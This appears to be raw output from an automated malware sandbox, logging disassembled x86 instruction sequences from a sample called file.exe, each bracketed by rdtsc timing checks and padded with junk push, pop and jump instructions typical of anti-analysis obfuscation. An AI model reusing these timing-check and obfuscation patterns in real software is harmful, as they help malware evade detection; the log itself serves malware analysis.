Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20457 second address: 4D204D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 call 00007F6E04531010h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F6E0453100Ch 0x00000016 xor cx, 8118h 0x0000001b jmp 00007F6E0453100Bh 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007F6E04531018h 0x00000027 sbb cx, 6B78h 0x0000002c jmp 00007F6E0453100Bh 0x00000031 popfd 0x00000032 popad 0x00000033 mov dword ptr [esp], eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F6E04531015h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D204D5 second address: 4D204DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D204DB second address: 4D20549 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-10h] 0x0000000b pushad 0x0000000c mov ebx, 00639508h 0x00000011 mov edi, 3220F9B4h 0x00000016 popad 0x00000017 mov dword ptr fs:[00000000h], eax 0x0000001d pushad 0x0000001e movsx edx, si 0x00000021 pushad 0x00000022 mov esi, 78AFFF77h 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a popad 0x0000002b mov dword ptr [ebp-18h], esp 0x0000002e jmp 00007F6E04531018h 0x00000033 mov eax, dword ptr fs:[00000018h] 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c mov edx, 5CEBD4B0h 0x00000041 jmp 00007F6E04531019h 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20549 second address: 4D20573 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6E04C712CDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20573 second address: 4D205C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04531011h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, ecx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F6E0453100Ch 0x00000012 jmp 00007F6E04531015h 0x00000017 popfd 0x00000018 mov dx, cx 0x0000001b popad 0x0000001c jns 00007F6E04531029h 0x00000022 pushad 0x00000023 mov bl, cl 0x00000025 mov ecx, edi 0x00000027 popad 0x00000028 add eax, ecx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D205C6 second address: 4D205CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1016E second address: 4D10174 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10174 second address: 4D101F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cx, 6FFDh 0x0000000f pushfd 0x00000010 jmp 00007F6E04C712CAh 0x00000015 or cx, 68D8h 0x0000001a jmp 00007F6E04C712CBh 0x0000001f popfd 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 pushad 0x00000024 mov ebx, 0B26B808h 0x00000029 pushfd 0x0000002a jmp 00007F6E04C712D1h 0x0000002f jmp 00007F6E04C712CBh 0x00000034 popfd 0x00000035 popad 0x00000036 call 00007F6E04C712D8h 0x0000003b pushad 0x0000003c popad 0x0000003d pop eax 0x0000003e popad 0x0000003f xchg eax, ebp 0x00000040 pushad 0x00000041 pushad 0x00000042 mov esi, 19EC3BE5h 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D101F4 second address: 4D1026F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 pushad 0x00000009 pushad 0x0000000a mov eax, 01BE2B99h 0x0000000f pushfd 0x00000010 jmp 00007F6E04531016h 0x00000015 add cx, 2F28h 0x0000001a jmp 00007F6E0453100Bh 0x0000001f popfd 0x00000020 popad 0x00000021 pushfd 0x00000022 jmp 00007F6E04531018h 0x00000027 and cl, FFFFFF88h 0x0000002a jmp 00007F6E0453100Bh 0x0000002f popfd 0x00000030 popad 0x00000031 sub esp, 2Ch 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F6E04531015h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1026F second address: 4D102B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 06FB0132h 0x00000008 movsx edx, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebx 0x0000000f pushad 0x00000010 mov ch, FBh 0x00000012 pushfd 0x00000013 jmp 00007F6E04C712CDh 0x00000018 and cx, 4A06h 0x0000001d jmp 00007F6E04C712D1h 0x00000022 popfd 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F6E04C712CCh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D102B6 second address: 4D102BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D102BC second address: 4D102C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D102C0 second address: 4D102C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D102C4 second address: 4D102D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 pushad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D102D1 second address: 4D1038E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007F6E04531011h 0x0000000b xor si, 6CC6h 0x00000010 jmp 00007F6E04531011h 0x00000015 popfd 0x00000016 popad 0x00000017 xchg eax, edi 0x00000018 pushad 0x00000019 jmp 00007F6E0453100Ch 0x0000001e pushfd 0x0000001f jmp 00007F6E04531012h 0x00000024 sbb ecx, 0BA64098h 0x0000002a jmp 00007F6E0453100Bh 0x0000002f popfd 0x00000030 popad 0x00000031 push eax 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F6E0453100Fh 0x00000039 sub cx, C95Eh 0x0000003e jmp 00007F6E04531019h 0x00000043 popfd 0x00000044 call 00007F6E04531010h 0x00000049 mov bx, ax 0x0000004c pop eax 0x0000004d popad 0x0000004e xchg eax, edi 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F6E0453100Fh 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1038E second address: 4D103AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D103AB second address: 4D103B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D103B1 second address: 4D103B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D103B5 second address: 4D103B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10476 second address: 4D1047A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1047A second address: 4D10492 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04531014h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10492 second address: 4D10498 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10498 second address: 4D1049C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1049C second address: 4D104A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D104B3 second address: 4D104B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D104B7 second address: 4D104BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D104BD second address: 4D104DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E0453100Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov ecx, ebx 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D104DA second address: 4D104DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D104DE second address: 4D104E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D104E4 second address: 4D104EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10575 second address: 4D1057F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 27A913E4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1057F second address: 4D105BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, dx 0x00000006 pushfd 0x00000007 jmp 00007F6E04C712D5h 0x0000000c and al, FFFFFFD6h 0x0000000f jmp 00007F6E04C712D1h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 js 00007F6E04C7133Eh 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D105BF second address: 4D105C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D105C3 second address: 4D105C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D105C9 second address: 4D10655 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04531012h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c pushad 0x0000000d push ecx 0x0000000e jmp 00007F6E0453100Dh 0x00000013 pop ecx 0x00000014 pushfd 0x00000015 jmp 00007F6E04531011h 0x0000001a add eax, 62250846h 0x00000020 jmp 00007F6E04531011h 0x00000025 popfd 0x00000026 popad 0x00000027 jne 00007F6E7617EE84h 0x0000002d jmp 00007F6E0453100Eh 0x00000032 mov ebx, dword ptr [ebp+08h] 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 mov ax, bx 0x0000003b call 00007F6E04531019h 0x00000040 pop ecx 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10655 second address: 4D10670 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10670 second address: 4D10674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10674 second address: 4D10691 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10691 second address: 4D106AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04531011h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D106AD second address: 4D106B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D106B1 second address: 4D106B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D106B5 second address: 4D106BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D106BB second address: 4D10713 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6E04531010h 0x00000009 and eax, 1E6E2668h 0x0000000f jmp 00007F6E0453100Bh 0x00000014 popfd 0x00000015 mov ch, 24h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007F6E04531012h 0x00000020 xchg eax, esi 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F6E04531017h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10713 second address: 4D1075F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 3EEC461Ah 0x00000008 mov ebx, 0B78A9E6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push esi 0x00000013 mov ax, di 0x00000016 pop edx 0x00000017 mov dh, cl 0x00000019 popad 0x0000001a mov dword ptr [esp], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov bh, ah 0x00000022 pushfd 0x00000023 jmp 00007F6E04C712D1h 0x00000028 and ax, D9F6h 0x0000002d jmp 00007F6E04C712D1h 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1075F second address: 4D107D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6E04531017h 0x00000009 add si, AF2Eh 0x0000000e jmp 00007F6E04531019h 0x00000013 popfd 0x00000014 mov bh, cl 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push esi 0x0000001a jmp 00007F6E04531018h 0x0000001f mov dword ptr [esp], ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F6E04531017h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1086D second address: 4D10873 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10873 second address: 4D10877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10877 second address: 4D1003A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F6E768BF09Ch 0x0000000e xor eax, eax 0x00000010 jmp 00007F6E04C4A9FAh 0x00000015 pop esi 0x00000016 pop edi 0x00000017 pop ebx 0x00000018 leave 0x00000019 retn 0004h 0x0000001c nop 0x0000001d sub esp, 04h 0x00000020 mov edi, eax 0x00000022 xor ebx, ebx 0x00000024 cmp edi, 00000000h 0x00000027 je 00007F6E04C713D4h 0x0000002d call 00007F6E095BF727h 0x00000032 mov edi, edi 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 mov ebx, 6FE4C31Eh 0x0000003c pushfd 0x0000003d jmp 00007F6E04C712CFh 0x00000042 sub si, 2FCEh 0x00000047 jmp 00007F6E04C712D9h 0x0000004c popfd 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1003A second address: 4D10084 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04531011h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F6E04531019h 0x00000013 sub ax, 2D66h 0x00000018 jmp 00007F6E04531011h 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10084 second address: 4D100A2 instructions: 0x00000000 rdtsc 0x00000002 call 00007F6E04C712D0h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx edx, cx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D100A2 second address: 4D100A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D100A8 second address: 4D100AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D100AC second address: 4D100FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F6E04531019h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 movzx ecx, bx 0x00000014 popad 0x00000015 xchg eax, ecx 0x00000016 pushad 0x00000017 push esi 0x00000018 call 00007F6E04531017h 0x0000001d pop esi 0x0000001e pop edi 0x0000001f mov al, 29h 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov esi, edi 0x00000028 mov dh, E8h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D100FD second address: 4D10103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10103 second address: 4D10107 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10C21 second address: 4D10C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10C25 second address: 4D10C2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10C2B second address: 4D10C48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10C48 second address: 4D10C4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10C4E second address: 4D10C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10C52 second address: 4D10CA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04531011h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F6E0453100Eh 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F6E0453100Eh 0x0000001a sbb eax, 438CB0A8h 0x00000020 jmp 00007F6E0453100Bh 0x00000025 popfd 0x00000026 push eax 0x00000027 push edx 0x00000028 movzx esi, dx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10CA1 second address: 4D10CDF instructions: 0x00000000 rdtsc 0x00000002 mov eax, edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 cmp dword ptr [769B459Ch], 05h 0x0000000e jmp 00007F6E04C712CDh 0x00000013 je 00007F6E768AF009h 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushfd 0x0000001d jmp 00007F6E04C712CAh 0x00000022 sub ah, 00000038h 0x00000025 jmp 00007F6E04C712CBh 0x0000002a popfd 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10CDF second address: 4D10D1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04531018h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a mov si, EB57h 0x0000000e mov cx, E5F3h 0x00000012 popad 0x00000013 popad 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F6E04531015h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10D56 second address: 4D10D6B instructions: 0x00000000 rdtsc 0x00000002 mov bh, al 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6E04C712CBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10D6B second address: 4D10D71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10D71 second address: 4D10D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10D75 second address: 4D10DCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E0453100Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F6E04531015h 0x00000017 add eax, 775E0256h 0x0000001d jmp 00007F6E04531011h 0x00000022 popfd 0x00000023 push esi 0x00000024 pop edi 0x00000025 popad 0x00000026 pushad 0x00000027 mov edx, esi 0x00000029 mov dx, si 0x0000002c popad 0x0000002d popad 0x0000002e mov eax, dword ptr [eax] 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10DCC second address: 4D10DEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F6E04C712CAh 0x0000000a add eax, 474783A8h 0x00000010 jmp 00007F6E04C712CBh 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10DEE second address: 4D10E06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E04531014h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20ACF second address: 4D20AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20AD3 second address: 4D20AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20AD9 second address: 4D20ADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20ADF second address: 4D20AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20AE3 second address: 4D20B3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F6E04C712CBh 0x00000011 xchg eax, esi 0x00000012 jmp 00007F6E04C712D6h 0x00000017 mov esi, dword ptr [ebp+0Ch] 0x0000001a jmp 00007F6E04C712D0h 0x0000001f test esi, esi 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F6E04C712CAh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20B3D second address: 4D20B41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20B41 second address: 4D20B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
